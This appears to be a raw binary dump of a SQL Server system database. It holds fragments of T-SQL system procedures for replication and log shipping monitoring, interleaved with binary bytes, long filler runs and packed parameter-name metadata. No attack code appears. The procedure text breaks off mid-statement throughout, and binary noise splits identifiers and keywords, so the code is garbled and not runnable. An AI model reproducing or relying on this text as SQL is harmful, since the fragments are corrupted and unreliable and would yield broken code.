                allow_interactive_resolver, fast_multicol_updateproc, check_permissions, maxversion_at_cleanup,
                processing_order, published_in_tran_pub, upload_options, lightweight, ''MSmerge_lws_sp_del_'' + procname_postfix, 
                before_upd_view_objid, delete_tracking, compensate_for_errors, pub_range, range, threshold,
                metadata_select_proc, stream_blob_columns, preserve_rowguidcol
            from dbo.sysmergearticles
            where lightweight = 1
        '
    
    exec (@cmd)
    if @@error<>0 return 1
        
    grant select(objid) on dbo.sysmergeextendedarticlesview to public
    if @@error <> 0    return 1

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<U
.=0H@ 8create procedure sys.sp_MSreplcheckoffloadserver (
    @offloadserver sysname
    )
as 
begin
	SET NOCOUNT ON
	
	RAISERROR(21023, 16, -1, 'sp_MSreplcheckoffloadserver')

	RETURN (1)
end
0@ b8
create procedure sys.sp_helpreplicationoption (
@optname        sysname = NULL
)
AS
    DECLARE @optbit bit
    DECLARE @retcode int


    IF @optname IS NOT NULL AND LOWER(@optname collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('transactional','merge')
    BEGIN
        RAISERROR(21014, 16, -1)
        GOTO FAILURE
    END
    SELECT optname, value, major_version, minor_version, revision 
        FROM master.dbo.MSreplication_options
        WHERE
            optname = @optname OR
            @optname = NULL

    RETURN(0)

FAILURE:
    RETURN(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E`-G)	
q/ 0-kQ@offloadserver0-kW@dts_package_name0-k_@dts_package_password0-k_@dts_package_location0-ka@distribution_job_name0-kI@publisher0-k(W@backupdevicetype0-kW@backupdevicename0-k Q@mediapassword0-k!G@password0-k"88
K@fileidhint0-k#hhC@unload0-k$
U@subscriptionlsn0-k%S@publisher_type0-k&00]@subscriptionstreams0-k'00U@subscriber_type0-?K@table_name0-?O@table_schema0-Y)M@publication0-Y)A@login0-Y)G@reserved0-Y)I@publisher0-6^88
Gobject_id0-6^88
Gschema_id0-6^OTABLE_CATALOG0-6^MTABLE_SCHEMA0-6^ITABLE_NAME0-6^<<ITABLE_TYPE0-6^$$ITABLE_GUID0-6^KDESCRIPTION0-6^	88
MTABLE_PROPID0-6^
==MDATE_CREATED0-6^==ODATE_MODIFIED0-I@curdistdb0-!M@publication0-Q)88
O@attribute_id0-,44O@publisher_id0-,O@publisher_db0-,'?@data0-,'A@1data0-,'A@2data0-,'A@3data0-,'A@4data0-,'A@5data0-,	'A@6data0-,
'A@7data0-,'A@8data0-,'A@9data0-,
'C@10data0-,'C@11data0-,'C@12data0-,'C@13data0-,'C@14data0-ZW@capture_instance0-Z
S@low_water_mark0-ZI@threshold0-D88
I@tablenick0-D$$E@rowguid0-D00G@metatype0-W+G@viewname0-_88
I@tablenick0-_@Q@rowguid_array0-_[@metadatatype_array0-__@oldlineage_len_array0-_""W@oldlineage_array0-_W@generation_array0-__@newlineage_len_array0-_""W@newlineage_array0-_	$$A@pubid0-_
88
M@rowsdeleted0-_hhg@allarticlesareupdateable!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!c Y

U

Qt%

>YLA@
		[		3V
8j%@IDop'g`7-h8)
	

]0-M@publication0-E@article0-hhO@returnfilter0-I@publisher0-88
A@found-Ң88
0-k@=@cmd0-k88
A@force0-k88
C@indent0-88
Cpool_id0-4=name0-==_statistics_start_time0-Ytotal_cpu_usage_ms0-Scache_memory_kb0-Wcompile_memory_kb0-Uused_memgrant_kb0-]total_memgrant_count0-	mtotal_memgrant_timeout_count0-
88
_active_memgrant_count0-Yactive_memgrant_kb0-88
_memgrant_waiter_count0-
Omax_memory_kb0-Qused_memory_kb0-Utarget_memory_kb0-[out_of_memory_count0-88
Smin_cpu_percent0-88
Smax_cpu_percent0-88
Ymin_memory_percent0-88
Ymax_memory_percent0-88
Scap_cpu_percent0-K@agent_name0-88
I@runstatus0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-Y@subscription_type0-88
Kpdw_node_id0-Elog_name0-Ilog_source0-Eevent_id0-Ievent_type0-@@Oevent_message0-==Ogenerate_time0-==Iwrite_time0-I@publisher0-M@distributor0-K@subscriber0-I@distribdb0-Q@source_schema0-M@source_name0-W@capture_instance0-hh_@supports_net_changes0-I@tablename0-G@procname!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2U`j-	4)

LLA0-C88
O@is_publisher0-ChhK@check_only0-ChhI@drop_only0-ChhU@initial_setting0-CM@bound_value-88
0-K@servername0-
xI@subsystem0-
88
G@agent_id0-HM@publication0-HE@article0-HK@subscriber0-HC@status0-HU@previous_status0-HS@destination_db0-H88
S@frequency_type0-H88
[@frequency_interval0-H	88
m@frequency_relative_interval0-H
88
m@frequency_recurrence_factor0-H88
W@frequency_subday0-H88
i@frequency_subday_interval0-H
88
g@active_start_time_of_day0-H88
c@active_end_time_of_day0-H88
Y@active_start_date0-H88
U@active_end_date0-H@a@optional_command_line0-H[@distribution_jobid0-HhhS@from_auto_sync0-Hhh[@ignore_distributor0-HhhO@offloadagent0-HQ@offloadserver0-HW@dts_package_name0-H_@dts_package_password0-H88
_@dts_package_location0-H88
_@skipobjectactivation0-Ha@distribution_job_name0-HI@publisher0-HS@publisher_type0-Hhhk@ignore_distributor_failure0-G@database0-W@backup_directory0-O@backup_share0-88
e@backup_retention_period0-hho@monitor_server_security_mode0-_@monitor_server_login0-e@monitor_server_password0-]XS@qualified_name0-][@pub_identity_range0-]S@identity_range0-]88
I@threshold0-
X$$A@pubid0-
X88
O@partition_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! L

_
X9

2
		5	y$hAgf>a7o.C`&-I5)
3/O40-\00Q@verboseoutput0-\O@query_sample0-\K@xml_output0->E@autofix0-\88
Ebucketid0-\88
Grefcounts0-\88
Gusecounts0-\88
Osize_in_bytes0-\_memory_object_address0-\d4dMcacheobjtype0-\(4(Cobjtype0-\@@Kplan_handle0-\	88
Cpool_id0-\
@@Yparent_plan_handle0-'?@name0-'G@username0-'M@grantorname0-'
S@permissionarea0-Í$$Ireplica_id0-Í4[replica_server_name0-Í$$Egroup_id0-Í00Ijoin_state0-ÍxxSjoin_state_desc0-!88
A@pubid0-!M@publication0-!hhG@enabling0-!88
Q@originator_id0-!C@cmdtxt0-!hhK@execscript0-JC@object0-JC@schema0-܉	K@subscriber0-܉	44K@agent_type0-܉	88
S@frequency_type0-܉	88
[@frequency_interval0-܉	88
m@frequency_relative_interval0-܉	88
m@frequency_recurrence_factor0-܉	88
W@frequency_subday0-܉	88
i@frequency_subday_interval0-܉		88
g@active_start_time_of_day0-܉	
88
c@active_end_time_of_day0-܉	88
Y@active_start_date0-܉	88
U@active_end_date0-܉	
I@publisher0-܉	S@publisher_type0-
88
Gobject_id0-
88
Eindex_id0-
=rows0-
88
Ktotal_pages0-
88
Iused_pages0-88
I@object_id0-_@included_column_list0-5;@p1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!s(_
n

K
V

	m	d*	Yt3R[/^cK`-#.)
010-*]G@filename0-!M@publication0-!88
C@taskid0-!K@restricted0-!PM@sync_method0-!I@repl_freq0-!M@description0-!C@status0-!
Y@independent_agent0-!	
S@immediate_sync0-!

_@enabled_for_internet0-!
K@allow_push0-!
K@allow_pull0-!

U@allow_anonymous0-!
U@allow_sync_tran0-!
[@autogen_sync_procs0-!88
I@retention0-!
Y@allow_queued_tran0-!
i@snapshot_in_defaultfolder0-!]@alt_snapshot_folder0-!]@pre_snapshot_script0-!_@post_snapshot_script0-!
Y@compress_snapshot0-!M@ftp_address0-!88
G@ftp_port0-!W@ftp_subdirectory0-!I@ftp_login0-!O@ftp_password0-!
I@allow_dts0-!
e@allow_subscription_copy0-!U@conflict_policy0-!
a@centralized_conflicts0-! 88
[@conflict_retention0-!!K@queue_type0-!"e@add_to_active_directory0-!#[@logreader_job_name0-!$W@qreader_job_name0-!%I@publisher0-!&
o@allow_initialize_from_backup0-!'88
Q@replicate_ddl0-!(
U@enabled_for_p2p0-!)
k@publish_local_changes_only0-!*
]@enabled_for_het_sub0-!+
a@p2p_conflictdetection0-!,88
Y@p2p_originator_id0-!-
e@p2p_continue_onconflictO8
x
'
oX

Q
		N	_rYNITe7`D-
K)W
A0-$MY@working_directory0-$M
E@trusted0-$Mhh[@encrypted_password0-$M	hhU@thirdparty_flag0-$M
S@publisher_type0-W88
A@artid0-W00C@format0-W00?@mode0-W00Q@publishertype0-WI@publisher0-WhhI@usesqlclr-F 0-F E@command0-%88
I@object_id0-%
S@qualified_name0-/4ENodeName0-/88
Astatus0-/Ystatus_description0-/hhUis_current_owner0-/88
Kpdw_node_id0-`4M@publication0-`4E@article0-JcY88
Kpdw_node_id0-JcY88
Mcomponent_id0-JcY_component_instance_id0-JcY88
Ealert_id0-JcYHHWalert_instance_id0-JcYQprevious_value0-JcYOcurrent_value0-JcY==Kcreate_time-Zhh0-Z$$G@agent_id0-Z00K@agent_type0-_^Q@source_object0-_^C@column0-_^88
K@from_agent0-_^@_@schema_change_script0-_^hhi@force_invalidate_snapshot0-_^hhi@force_reinit_subscription0-_nM@server_name0-rQ@database_name0-r88
G@alert_id0-z88
I@object_id0-z88
W@source_object_id0-zW@capture_instance0-z
I@start_lsn0-zhh_@supports_net_changes0-zI@role_name0-zK@index_name0-zS@filegroup_name0-z	==M@create_date0-z
hhS@is_partitioned-##hh0-##
G@from_lsn0-##
C@to_lsn0-##W@capture_instance0-x"M@publication0-x"O@source_owner0-x"O@source_table0-I@tablename0-K@dest_owner0- )M@publication0- )I@publisher0- )A@pubdb0-$$A@pubid0-88
Q@schemaversion0-88
M@compatlevel0-hhS@AlterTableOnly0-hh@invalidateupload_schemachanges_for_ssce0-hho@filter_skipped_schemachanges0-88
A@objid0-C@biname-nVW0-nVW88
[@publication_number0-nVW88
O@partition_id3@

I

hI

\

	y	H	]bi88?Mf8W&Em l#^BY`<(
+bvmer(@primary_server)
                        and primary_database = @primary_database
                        and secondary_server = upper(@secondary_server)
                        and secondary_database = @secondary_database
                end -- local monitor
                else
                begin
                    --
                    -- remote monitor
                    --
                    if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
                    begin
                        --
                        -- execute as proxy
                        --
                        exec @retcode = sys.sp_MSproxylogshippingmonitorhelpsecondary
                                @monitor_server = @monitor_server
                                ,@p1 = @primary_server
                                ,@p2 = @primary_database
                                ,@p3 = @secondary_server
                                ,@p4 = @secondary_database
                                ,@p5 = @secondary_id output
                                ,@p6 = @restore_threshold output
                                ,@p7 = @is_restore_alert_enabled output
                                ,@p8 = @last_copied_file output
                                ,@p9 = @last_copied_utc output
                                ,@p10 = @last_restored_file output
                                ,@p11 = @last_restored_utc output
                                ,@p12 = @last_restored_latency output                                
                    end
                    else
                    begin
                        delete #secondary_monitor
                        select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.master.sys.sp_help_log_shipping_monitor_secondary '
                                ,@retcode = 0
                        begin try
                            insert into #secondary_monitor
                            exec @retcode = @linkcmd 
                                        @secondary_server = @secondary_server
                                        ,@secondary_database = @secondary_database
                        end try
                        begin catch
                            select @retcode = 1
                                    ,@secondary_id = NULL
                        end catch
                        
                        if (@retcode = 0)
                        begin
                            select @secondary_id = secondary_id
                                    ,@restore_threshold = restore_threshold
                                    ,@is_restore_alert_enabled = threshold_alert_enabled
                                    ,@last_copied_file = last_copied_file
                                    ,@last_copied_utc = last_copied_date_utc
                                    ,@last_restored_file = last_restored_file
                                    ,@last_restored_utc = last_restored_date_utc
                                    ,@last_restored_latency = last_restored_latency 
                            from #secondary_monitor
                            where upper(primary_server) = upper(@primary_server)
                                and primary_database = @primary_database
                        end
                        else
                        begin
                            raiserror(32031, 10, 1, @secondary_server, @secondary_database, @monitor_server)
                        end
                    end
                end -- remote monitor
                --
                -- do we have data on this secondary
                --
                if (@secondary_id is not null)
                begin
                    --
                    -- yes we do - update the entry
                    --
                    select @time_since_last_copy = datediff(minute, @last_copied_utc, @curutcdate)
                            ,@time_since_last_restore = datediff(minute, @last_restored_utc, @curutcdate)
                    update #log_shipping_monitor
                    set
                        status = case when (@time_since_last_restore > @restore_threshold or @last_restored_latency > @restore_threshold) then 1 else 0 end
                        ,time_since_last_copy = @time_since_last_copy
                        ,last_copied_file = @last_copied_file
                        ,time_since_last_restore = @time_since_last_restore
                        ,last_restored_file = @last_restored_file
                        ,last_restored_latency = @last_restored_latency
                        ,restore_threshold = @restore_threshold
                        ,is_restore_alert_enabled = @is_restore_alert_enabled
                    where upper(server) = upper(@secondary_server)
                        and database_name = @secondary_database
                end -- update secondary data
                --
                -- fetch next primary secondary
                --
                fetch #hcprimarysecondaries into @secondary_server, @secondary_database
            end
            close #hcprimarysecondaries
            deallocate #hcprimarysecondaries
        end -- we are on primary server processing primaries
        else
        begin
            --
            -- we are on monitor server
            -- get details of the secondaries from msdb.dbo.log_shipping_monitor_secondary
            -- if the same monitor is being used by secondaries
            --
            insert into #log_shipping_monitor (
                status 
                ,is_primary 
                ,server  
                ,database_name 
                ,time_since_last_copy 
                ,last_copied_file 
                ,time_since_last_restore 
                ,last_restored_file 
                ,last_restored_latency 
                ,restore_threshold 
                ,is_restore_alert_enabled)
            select 
                case when (datediff(minute, last_restored_date_utc, @curutcdate) > restore_threshold
                                        or last_restored_latency > restore_threshold) then 1 else 0 end
                ,0
                ,secondary_server
                ,secondary_database
                ,datediff(minute, last_copied_date_utc, @curutcdate)
                ,last_copied_file
                ,datediff(minute, last_restored_date_utc, @curutcdate)
                ,last_restored_file
                ,last_restored_latency
                ,restore_threshold
                ,threshold_alert_enabled
            from msdb.dbo.log_shipping_monitor_secondary with (nolock)
            where primary_server = upper(@primary_server)
                and primary_database = @primary_database

        end -- we are on monitor server processing primaries
        fetch #hcprimaries into @primary_id, @primary_server, @primary_database, @backup_threshold, @is_backup_alert_enabled, @last_backup_file, @last_backup_utc
    end -- while cursor for hcprimaries
    close #hcprimaries
    deallocate #hcprimaries
    --
    -- Enumerate the secondary entries
    -- minus existing secondary entries in resultset
    --
    declare #hcsecondaries cursor local fast_forward for
        select 
            secondary_server
            ,secondary_database
            ,secondary_id uniqueidentifier
            ,primary_server
            ,primary_database
            ,restore_threshold
            ,threshold_alert_enabled
            ,last_copied_file
            ,last_copied_date_utc
            ,last_restored_file
            ,last_restored_date_utc
            ,last_restored_latency
        from msdb.dbo.log_shipping_monitor_secondary with (nolock) 
        where not exists (select * from #log_shipping_monitor
                                wher!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
+Vvme upper(server) = upper(secondary_server)
                                    and database_name = secondary_database
                                    and is_primary = 0)
        order by primary_server, primary_database
        
    open #hcsecondaries
    fetch #hcsecondaries into @secondary_server, @secondary_database, @secondary_id,
                @primary_server, @primary_database, @restore_threshold, @is_restore_alert_enabled, 
                @last_copied_file, @last_copied_utc, @last_restored_file, @last_restored_utc, @last_restored_latency
    while (@@fetch_status != -1)
    begin
        --
        -- Have we processed the primary for this secondary
        --
        if not (upper(@primary_server) = upper(@prev_primary_server)
            and @primary_database = @prev_primary_database)
        begin
            --
            -- No - Try to get the details of this primary
            --
            select @primary_id = null
            if (upper(@secondary_server) = upper(@@servername))
            begin
                --
                -- we are on secondary
                -- get monitor server information
                --
                select @monitor_server = monitor_server
                        ,@monitor_server_security_mode = monitor_server_security_mode
                from msdb.dbo.log_shipping_secondary with (nolock)
                where secondary_id = @secondary_id
                select @is_monitor_local = case when (upper(@monitor_server) = upper(@@servername)) then 1 else 0 end
                if (@is_monitor_local = 1)
                begin
                    --
                    -- local monitor
                    --
                    select @primary_id = primary_id
                        ,@backup_threshold = backup_threshold
                        ,@is_backup_alert_enabled = threshold_alert_enabled
                        ,@last_backup_file = last_backup_file
                        ,@last_backup_utc = last_backup_date_utc
                    from msdb.dbo.log_shipping_monitor_primary with (nolock)
                    where primary_server = upper(@primary_server)
                        and primary_database = @primary_database
                end
                else
                begin
                    --
                    -- remote monitor
                    --
                    if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
                    begin
                        --
                        -- execute as proxy
                        --
                        exec @retcode = sys.sp_MSproxylogshippingmonitorhelpprimary
                                @monitor_server = @monitor_server
                                ,@p1 = @primary_server
                                ,@p2 = @primary_database
                                ,@p3 = @primary_id output
                                ,@p4 = @backup_threshold output
                                ,@p5 = @is_backup_alert_enabled output
                                ,@p6 = @last_backup_file output
                                ,@p7 = @last_backup_utc output
                    end
                    else
                    begin
                        delete #primary_monitor
                        select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.master.sys.sp_help_log_shipping_monitor_primary '
                                ,@retcode = 0
                        begin try
                            insert into #primary_monitor
                            exec @retcode = @linkcmd 
                                        @primary_server = @primary_server
                                        ,@primary_database = @primary_database
                        end try
                        begin catch
                            select @retcode = 1
                                    ,@primary_id = NULL
                        end catch

                        if (@retcode = 0)
                        begin
                            select @primary_id = primary_id
                                    ,@backup_threshold = backup_threshold
